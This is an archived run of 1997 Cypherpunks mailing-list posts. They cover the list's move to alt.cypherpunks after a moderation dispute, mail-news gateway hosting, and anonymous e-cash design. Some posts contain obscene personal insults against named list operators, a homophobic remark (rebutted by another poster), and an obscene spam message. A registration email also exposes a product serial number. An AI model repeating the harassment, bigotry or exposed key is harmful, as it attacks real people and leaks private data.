Subject: Re: John Gilmore the fascist cocksucker
In-Reply-To: <855771108.522743.0@fatmans.demon.co.uk>
Message-ID: <199702122053.OAA07493@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Why you are doing this, Paul?

	- Igor.

paul@fatmans.demon.co.uk wrote:
> 
> Priority: normal
> X-mailer: Pegasus Mail for Windows (v2.31)
> 
> John Gilmore is a fascist cocksucker
> Sandy Sandfort is a censorous motherfucker
> John Gilmore is a fascist cocksucker
> Sandy Sandfort is a censorous motherfucker
> John Gilmore is a fascist cocksucker
> Sandy Sandfort is a censorous motherfucker
> John Gilmore is a fascist cocksucker
> Sandy Sandfort is a censorous motherfucker
> 
> 
>   Datacomms Technologies web authoring and data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: 5BBFAEB1
>      "Don`t forget to mount a scratch monkey"
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 13:03:45 -0800 (PST)
To: jmb@FRB.GOV (Jonathan M. Bresler)
Subject: Re: Need a good bi-directional mail-news gateway
In-Reply-To: <199702122018.PAA17534@kryten.frb.gov>
Message-ID: <199702122057.OAA07589@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jonathan M. Bresler wrote:
> 	your expected mail volume is 100,000+ messages a day?
> 
> 	i run lists that do 200,000+ routinely.
> 	recent peak of 350,000 messages
> 
> 	does that meet your needs?

Yes. This is great. You can join a discussion of people who will
help hosting the cypherpunks list at cypherpunks-hosts@algebra.com.
Subscribe by asking majordomo@algebra.com

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 15:04:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks created
Message-ID: <3.0.1.32.19970212150638.027c6b00@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain



According to DejaNews, Mike Duvos has also issued a newgroup for
alt.cypherpunks:

>Subject:      cmsg newgroup alt.cypherpunks
>From:         mpd@netcom.com (Mike Duvos)
>Date:         1997/02/11
>Message-Id:   <mpdE5GMA8.ABH@netcom.com>
>Sender:       mpd@netcom12.netcom.com
>Control:      newgroup alt.cypherpunks
>Organization: Netcom On-Line Services
>Newsgroups:   alt.cypherpunks
>
>
>
>alt.cypherpunks is an unmoderated newsgroup, needed as a replacement
>for the high volume Cypherpunks mailing list, which is being evicted
>from its longtime home at toad.com due to creative differences with
>the site owner, John Gilmore. 
>
>For your newsgroups file:
>
>alt.cypherpunks  Technological defenses for privacy
>
>Some background on Cypherpunks, snipped from the mailing list welcome
>message, follows...
>
>Cypherpunks assume privacy is a good thing and wish there were more of it. 
>Cypherpunks acknowledge that those who want privacy must create it for
>themselves and not expect governments, corporations, or other large,
>faceless organizations to grant them privacy out of beneficence. 
>Cypherpunks know that people have been creating their own privacy for
>centuries with whispers, envelopes, closed doors, and couriers. 
>Cypherpunks do not seek to prevent other people from speaking about their
>experiences or their opinions. 
>
>The most important means to the defense of privacy is encryption. To
>encrypt is to indicate the desire for privacy.  But to encrypt with weak
>cryptography is to indicate not too much desire for privacy. Cypherpunks
>hope that all people desiring privacy will learn how best to defend it. 
>
>Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish to
>learn about it, to teach it, to implement it, and to make more of it. 
>Cypherpunks know that cryptographic protocols make social structures. 
>Cypherpunks know how to attack a system and how to defend it.  Cypherpunks
>know just how hard it is to make good cryptosystems. 
>
>Cypherpunks love to practice.  They love to play with public key
>cryptography.  They love to play with anonymous and pseudonymous mail
>forwarding and delivery.  They love to play with DC-nets.  They love to
>play with secure communications of all kinds. 
>
>Cypherpunks write code.  They know that someone has to write code to
>defend privacy, and since it's their privacy, they're going to write it. 
>Cypherpunks publish their code so that their fellow cypherpunks may
>practice and play with it.  Cypherpunks realize that security is not built
>in a day and are patient with incremental progress. 
>
>Cypherpunks don't care if you don't like the software they write. 
>Cypherpunks know that software can't be destroyed.  Cypherpunks know that
>a widely dispersed system can't be shut down. 
>
>Cypherpunks will make the networks safe for privacy. 
>
>-- 
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     mpd@netcom.com     $    via Finger.                      $




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@FRB.GOV>
Date: Wed, 12 Feb 1997 12:21:14 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Need a good bi-directional mail-news gateway
In-Reply-To: <01IFBXLR8Z009AN99E@mbcl.rutgers.edu>
Message-ID: <199702122018.PAA17534@kryten.frb.gov>
MIME-Version: 1.0
Content-Type: text/plain



>	Hi. The cypherpunks list is going through some major rearrangements,
>and it appears that we need a bi-directional mail-news gateway for the new
>group alt.cypherpunks and for whatever list(s) come out of the clouds of dust.
>(The list(s) in question may be done in a distributed fashion across many
>different machines, to lessen volume (1000+ subscribers, 100+ messages a day),
>crash vulnerablity, and other problems.) Anybody have experience in running
>a _really_ high-volume mail-news gateway (or in running distributed lists)?
>Please cc: any replies to cypherpunks@toad.com
>	Thanks,
>	-Allen

	your expected mail volume is 100,000+ messages a day?

	i run lists that do 200,000+ routinely.
	recent peak of 350,000 messages

	does that meet your needs?

jmb





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Wed, 12 Feb 1997 13:15:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: John Gilmore the fascist cocksucker
In-Reply-To: <199702122053.OAA07493@manifold.algebra.com>
Message-ID: <199702122119.PAA08150@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



> Why you are doing this, Paul?

> 	- Igor.

Perhaps his account was hacked.  Someone posted the account password
in addition to all the John "Cocksucker" Gilmore messages. 

Unless, of course, Paul has suddenly decided to burn all his bridges. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webmaster@extensis.com
Date: Wed, 12 Feb 1997 15:23:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Extensis CyberViewer Registration
Message-ID: <199702122323.PAA20183@us1.us.world.net>
MIME-Version: 1.0
Content-Type: text/plain


Dear Gringo,

Thank you for registering your copy of CyberViewer with Extensis!

Your CyberViewer serial number is: JME-100-001-936-690721

Please save this message for your records.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 15:17:40 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702121825.LAA11266@infowest.com>
Message-ID: <v03007805af2801044089@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:21 PM +0000 2/12/97, Attila T. Hun wrote:
>    maybe relief is in sight; can we spell excedrin?
>
>on or about 970211:1433 educom@elanor.oit.unc.edu said:
>
>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL
>
>+A U.S. district court in Ohio has granted CompuServe's request for a
>+preliminary injunction barring Cyber Promotions Inc. from sending
>+unsolicited e-mail to its subscribers while the commercial provider
...

Were I a customer of CompuServe, I'd ask on what basis CompuServe was
intercepting e-mail to me. In fact, a CompuServe account holder has made
just this point: "I'll decide what's junk mail and what's not."

Having the court system involved in deciding what mail is valid and what is
not valid is not my idea of a free society.

Having said this, the flaw remains that "junk mail" is "free" to the
sender. This is a flaw in the ontology of e-mail, and needs to be fixed.
Digital postage is one approach.

I'm not holding my breath, but I sure don't want a "District Court" deciding.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 15:19:21 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: alt.cypherpunks created
In-Reply-To: <3.0.1.32.19970212150638.027c6b00@ricochet.net>
Message-ID: <v03007806af28021f830a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:06 PM -0800 2/12/97, Greg Broiles wrote:
>According to DejaNews, Mike Duvos has also issued a newgroup for
>alt.cypherpunks:

I've already posted two articles to it. I expect it to be the main place I
post my words, as it eliminates any possibility that some site admin will
"moderate" my essays.

(And few of my articles in the last several days have made it to the Main
list. They were not flames, but apparently failed Sandy's test of
relevance.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zac speidel <speidel@lightspeed.net>
Date: Wed, 12 Feb 1997 15:46:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: security
Message-ID: <3.0.16.19970212160457.1ff7917e@lightspeed.net>
MIME-Version: 1.0
Content-Type: text/plain

does any 1 here a hacker???
Title: Skinhead Oi Oi





























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:06:15 -0800 (PST)
To: Lee Tien <cypherpunks@toad.com
Subject: Re: anonymity and e-cash
In-Reply-To: <v03010d01af23f7d7467d@[163.176.132.90]>
Message-ID: <v03007807af28042bfe3b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:19 PM -0800 2/12/97, Lee Tien wrote:
>The NSA's research report on e-cash says:
>
>	"The ideal situation (from the point of view of privacy advocates)
>is that neither payer nor payee should know the identity of the other. This
>makes remote transactions using electronic cash totally anonymous:  no one
>knows where Alice spends her money and who pays her.
>
>	"It turns out that this is too much to ask: there is no way in such
>a scenario for the consumer to obtain a signed receipt.  Thus we are forced
>to settle for payer anonymity."
>
>Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
>illuminate.  The discussion of digital cash seemed to assume no payee
>anonymity.  But the immediate previous section of dining cryptographers
>involved (it seemed) recipient untraceability.
>
>Is payee anonymity technically possible?  Under what conditions?
>
>If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

You missed a very good talk by Ian Goldberg at the Saturday meeting at
Stanford, where Ian talked for more than an hour on just this issue.

It was explicitly stated in Chaum's 1985 paper that methods existed to
ensure full untraceability. Chaum has in recent years emphasized a more
"surveillance friendly" system in which some of the anonymity is lost.

It was the intuition of some of us that "coin changers" could solve this
problem, e.g, by having intermediaries to "mix" the coins and thus break
the traceability chain. Lucky Green wrote some articles along these lines,
and maybe Hal Finney, too. This was a couple of years ago.

In August of '95, Doug Barnes released a long article on "Identity
Agnostic" systems. (His article is no longer at the www.communities.com Web
site, so I can't refer you to it. Maybe he'll post it again.)

Ian Goldberg has seemingly reproduced what Chaum was thinking about (but,
apparently, did not make completely clear in his papers, for whatever
reasons). Ian deals with the issue of "making change" and comes up with a
system in which intermediaries, which we may call "e-cashiers" and
"moneychangers," can take on the role of the mint/bank.

By making "negative deposits" (submitting signed withdrawal slips,
effectively), these intermediaries function as moneychangers. And so the
one-way anonymous features become two-way (effectively, each of the
transactions contributes a "one-way anonymous" component: one-way + one-way
= two-way).

(It is much easier to understand digital cash with the usual diagram
showing the usual triangle of CUSTOMER-MERCHANT-MINT and then analyzing the
flow of information, who knows what, etc. Drawing such diagrams in e-mail
is beyond my patience.)

This system used online clearing, of course.

This "disintermediates" the process, and makes for an "everyone a mint"
situation, which has some of the same nice properties that an "everyone a
remailer" ecology of remailers and users has.

And the principle can be extended further, to where the usual distinctions
between CUSTOMER and MERCHANT vanish (as it sort of does in the real world,
where the two parties are merely exchanging one item for another item), and
where the role of the MINT is minimal.

In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
some cases, not in other cases). This means that "anyone a mint" does not
violate any of the Chaum/Digicash patents, and "mint clients" are likely to
be written by third parties. (The _customer_ is presumably on the honor
system to abide by the Chaum patents...except the patents are only being
licensed to banks...go figure.)

(This is where, as I recall, Doug's "agnostic" system came in...it is
possible his thinking was similar to Ian's...I don't have Doug's paper
handy.)

Ian demonstrated this on an actual system, with real live connections to
mints in various countries, but with the blinding not used (as I recall).
Draw your own conclusions about what this means.

It was heady stuff, seeing the result many of us believed to be implicit in
Chaum's 1985 paper made real. Everyone a mint. This makes the spread of
fully anonymous digital cash harder to stop.

Issues of the mint denying one has an account are always real ones, but not
important--I think--in the real world. The untraceability of the digital
coins means that a mint never knows who is testing it for reliability and
"honesty," and the mint cannot set out to "screw" a particular customer by
declaring his account not to exist (as the mint almost certainly does not
have to know who own which accounts, as deposits can be made anonymously).

I hope this helps. I plan to use this result centrally in my talk at the
panel discussion on "Governmental and Social Implications of Digital Cash"
at the upcoming CFP.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 12 Feb 1997 15:59:08 -0800 (PST)
To: tien@well.com
Subject: Re: anonymity and e-cash
Message-ID: <199702122350.PAA14364@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks, talk.politics.crypto,sci.crypt)



At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks@toad.com list):
>The NSA's research report on e-cash says:
>
>  "The ideal situation (from the point of view of privacy advocates)
>is that neither payer nor payee should know the identity of the other. This
>makes remote transactions using electronic cash totally anonymous:  no one
>knows where Alice spends her money and who pays her.
>
>  "It turns out that this is too much to ask: there is no way in such
>a scenario for the consumer to obtain a signed receipt.  Thus we are forced
>to settle for payer anonymity."
>
>Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
>illuminate.  The discussion of digital cash seemed to assume no payee
>anonymity.  But the immediate previous section of dining cryptographers
>involved (it seemed) recipient untraceability.
>
>Is payee anonymity technically possible?  Under what conditions?
>
>If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
just this issue. (He also talked for an hour on his crack of the RSA
challenge using 250 workstations...this was also a good talk.)

It was explicitly stated in Chaum's 1985 paper that methods existed to
ensure full untraceability. Chaum has in recent years emphasized a more
"surveillance friendly" system in which some of the anonymity is lost. 

It was the intuition of some of us that "coin changers" could solve this
problem, e.g, by having intermediaries to "mix" the coins and thus break
the traceability chain. Lucky Green wrote some articles along these lines,
and maybe Hal Finney, too. This was a couple of years ago. The notion is
similar to what Ian showed, but our arguments were not formal and robust.

In August of '95, Doug Barnes released a long article on "Identity
Agnostic" systems. (His article is no longer at the www.communities.com Web
site, so I can't refer you to it. Maybe he'll post it again.)

About a year ago Ian Goldberg considered this issue and came up with a
solution which has seemingly reproduced what Chaum was thinking about (but,
apparently, did not make completely clear in his papers, for whatever
reasons). Ian deals with the issue of "making change" and comes up with a
system in which intermediaries, which we may call "e-cashiers" and
"moneychangers," can take on the role of the mint/bank. 

By making "negative deposits" (submitting signed withdrawal slips,
effectively), these intermediaries function as moneychangers. And so the
one-way anonymous features become two-way (effectively, each of the
transactions contributes a "one-way anonymous" component: one-way + one-way
= two-way).

It is much easier to understand digital cash with the usual diagram showing
the usual triangle of CUSTOMER-MERCHANT-MINT and then analyzing the flow of
information, who knows what, etc. Drawing such diagrams in e-mail is beyond
my patience.

This system used online clearing, of course.

This "disintermediates" the process, and makes for an "everyone a mint"
situation, which has some of the same nice properties that an "everyone a
remailer" ecology of remailers and users has.

And the principle can be extended further back, to where the usual
distinctions between CUSTOMER and MERCHANT vanish (as it sort of does in
the real world, where the two parties are merely exchanging one item for
another item), and where the role of the MINT is minimal.

In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
some cases, not in other cases). This means that "anyone a mint" does not
violate any of the Chaum/Digicash patents, and "mint clients" are likely to
be written by third parties. (The _customer_ is presumably on the honor
system to abide by the Chaum patents...except the patents are only being
licensed to banks...go figure.)

(This is where, as I recall, Doug's "agnostic" system came in...it is
possible his thinking was similar to Ian's...I don't have Doug's paper
handy.)

Ian demonstrated this on an actual system, with real live connections to
mints in various countries, but with the blinding not used (as I recall).
Draw your own conclusions about what this means.

It was heady stuff, seeing the result many of us believed to be implicit in
Chaum's 1985 paper made real. Everyone a mint. This makes the spread of
fully anonymous digital cash harder to stop.

Issues of the mint denying one has an account are always real ones, but not
important--I think--in the real world. The untraceability of the digital
coins means that a mint never knows who is testing it for reliability and
"honesty," and the mint cannot set out to "screw" a particular customer by
declaring his account not to exist (as the mint almost certainly does not
have to know who own which accounts, as deposits can be made anonymously).

I hope this helps. I plan to use this result centrally in my talk at the
panel discussion on "Governmental and Social Implications of Digital Cash"
at the upcoming CFP.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Wed, 12 Feb 1997 16:24:44 -0800 (PST)
To: Lee Tien <tien@well.com>
Subject: Re: anonymity and e-cash
In-Reply-To: <v03010d01af23f7d7467d@[163.176.132.90]>
Message-ID: <m2zpx9lfrz.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain


Lee Tien <tien@well.com> writes:

> [...] 
> Is payee anonymity technically possible?  Under what conditions?
> [...]

It's not too hard: The payee forwards a blinded, non-signed coin
to the payer. The payer has the bank sign this, and then returns
it to the payee who strips out the blinding factor. I think
this is discussed in Schneier.

Leonard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:14:22 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702120555.VAA07276@toad.com>
Message-ID: <v03007808af280e876d46@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:49 PM -0600 2/12/97, Firebeard wrote:
>>>>>> Timothy C May writes:
>
>TCM> Since posting my comments I've just seen the proposal that tivoli
>TCM> may host a list.
>
>	Whoa, Nellie!  Who made that proposal?  It certainly wasn't
>me!  I said that I was taking steps to set up a majordomo to host a
>cypherpunks list.  Topmost on those steps is creation of the sten.net
>or sten.org domain, and getting a personal,
>paid-for-out-of-my-own-pocket, ISDN connection.  The majordomo will
>run off of my personal computer sitting in my apartment, not on Tivoli
>hardware sitting in the support lab.  As I said, John forced my hand
>in his announcement, causing me to 'put up' before everything was in
>place, including the domain registration.  Yes, my mail comes from
>sten.tivoli.com.  That doesn't mean that everything I do in life is
>connected to Tivoli, IBM, etc.

Sorry, I was just going by what I saw in your e-mail address. My point was
not really about Tivoli, or IBM, or any other particular company, though.

I was making the point that _any_ site distributing a list is likely to
face legal pressures not to carry certain items. Read between the lines (or
read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
the products of Sandy's company, and legal pressures applied, to see what I
mean.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:34:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks is born.
Message-ID: <855766181.518359.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Hi all,

I crossposted the first post to the usenet group to here but just to 
make sure you all get the message I have created alt.cypherpunks.

Even if it is only a temporary measure it will be a forum from which 
we can establish something better. 

Fuck you John, we should have done this a long time ago.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Wed, 12 Feb 1997 08:51:58 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.LNX.3.95.970212072753.3144A-100000@dhp.com>
Message-ID: <19970212165137.12190.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> have anything to do with it?

Doubtful.  Given the fact that gay people suffer a great deal of
discrimination, they generally tend to be fairly open-minded.  I see
no reason to believe Gilmore is in fact gay, but if he is it in no way
affects my opinion of him.

> Maybe they just wanted you to leave, Gilmore.  After all, your EFF has
> ruined the reputation of the InterNet, and your homosexuality is a bad
> sign.  Homos should not be allowed to have any authority positions
> anyplace on the net.

Your bigotry seriously undermines the effectiveness of any
anti-censorship arguments you make.  Are you just trying to get
everyone to hate those who oppose censorship on cypherpunks.  Which
side are you on anyway?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 14:45:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702122251.QAA02182@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 14:33:03 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Network of majordomos (fwd)

> Yes, I installed INN and ran a few hundred test messages through it last
> night. My machine will be on the net full-time Thursday or Friday. Will yours
> be ready then, too? 

The mailing list was ready yesterday. Currently I have about a dozen
subscribers who are testing it. Igor has his list up and I expect that we
will begin the cross-subscription process on Saturday or Sunday. I sent
a 'who is here' message to cypherpunks-hosts@algebra.com and have not
received any replies.

> If you need some help setting it up, let me know. It can be a little tricky
> if you haven't done it before. 

Thanks, I'll factor that into my equation. I, however won't be acting as
a mail-to-news gateway at this point. What I would like to see would be
a news site which sent a copy of each incoming message to a mailing list
and would have an email address where each new submission to the mailing
list would get sent to. To make it really interesting would be to use
two seperate remailers, one for each traffic path. Had you thought of
taking your news that far?


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 12 Feb 1997 17:23:45 -0800 (PST)
To: tien@well.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130059.QAA04891@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


From: tcmay@got.net (Tim May)
> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
> just this issue. (He also talked for an hour on his crack of the RSA
> challenge using 250 workstations...this was also a good talk.)

I wish I could have heard that, it sounds good...

A simple idea we have discussed for full anonymity uses the idea of
exchanging coins at the bank.  You make an anonymous connection to
the bank, supply some ecash you have received along with some blinded
new ecash.  The bank verifies that the ecash is good and signs your
blinded ecash, sending it back to you.  You unblind it and have good,
fresh smelling ecash which you can keep, spend, or later deposit in
your account.

If the merchant performs this exchange operation on-line as soon as
he receives ecash, then his anonynmity is protected.  The customer is
protected too, by the blinding he used when he withdrew the ecash earlier.
So both sides remain anonymous.

It sounds like Ian may have worked out details of a system where third
parties do these exchanges.  Banks may be reluctant to allow them for
liability reasons, and the market, abhoring the vacuum, will supply
intermediaries who perform exchanges for a fee.

Resolving the various forms of cheating is the hard part.  When Lee asks
about a signed receipt, it is hard to understand what is the point if the
seller is fully anonymous!  A signed receipt from a freshly-minted key
is not of much use to anyone.

If the participants are using persistant pseudonyms then whatever
reputation capital they have can be put on the line when cheating happens,
although it still may be hard to tell who cheated whom.  Did the customer
pass bad cash and claim it was good, or did the merchant deposit good
cash and claim it was bad?

The same thing could happen every day at the supermarket, of course.
A customer insists they paid $20 but got change for a $10.  If dozens of
customers say the same thing has happened to them, we start to mistrust
the market, while if several businesses say this particular customer
has made the same claim to them, we blame the customer.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 12 Feb 1997 14:01:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spamming the list
Message-ID: <199702122201.RAA10661@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck a Dr.Dainty Vaginal in the ass, a tapeworm might
bite your penis.

          \
         o/\_ Dr.Dainty Vaginal
        <\__,\
         '\,  |






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 17:16:55 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: List! No Way: Creati
In-Reply-To: <199702121426.GAA19999@toad.com>
Message-ID: <3.0.1.32.19970212170409.0062b768@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:23 PM 2/11/97 -0500, harka@nycmetro.com wrote:
>Were it possible to use Perry's PGPDomo, which would effectively
>keep out at least the Spammers?

That'll keep out the outside spammers; it won't keep out
anybody trying to attack the list (if people can do that with
remailers, they can figure out how to do it with PGP...)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:04:17 -0800 (PST)
To: dthorn@gte.net
Subject: Re: New group
Message-ID: <855767149.525716.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Paul Bradley wrote:

> > Well despite the obvious problems of propogation I thought it was time
> > someone actually did something to get us a new home, even if it`s only
> > temporary. So I have created alt.cypherpunks... See you all over on
> > usenet!...

 
> I pressed the URL alt.cypherpunks and my Netscape server said
> "no such thing" or words to that effect.

The control message may take a few more hours to propogate, either 
that or your newsadmin has rmgrouped it. The charter was clear and 
concise and explained the issues so I don`t see why it should have 
been rmgrouped. Can you mail me if it hasn`t been created by the time 
you get this email and I`ll re-issue the cmsg. However, I`m sure it 
was OK as Robert Hettinga (sp?) found it on his news server today...

Seeya

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 17:15:13 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Cypherpunks Distributed Remailer
In-Reply-To: <199702121410.GAA19543@toad.com>
Message-ID: <3.0.1.32.19970212171002.0062c798@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:03 PM 2/11/97 -0600, Jim Choate <ravage@einstein.ssz.com> wrote:
>What is the current future of the Cypherpunks webpage? Will it continue to
>be kept up or is it going down as well?

If you mean the one on soda.berkeley.edu, the last I checked
nobody had updated it in a year or more, but it was still ticking.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





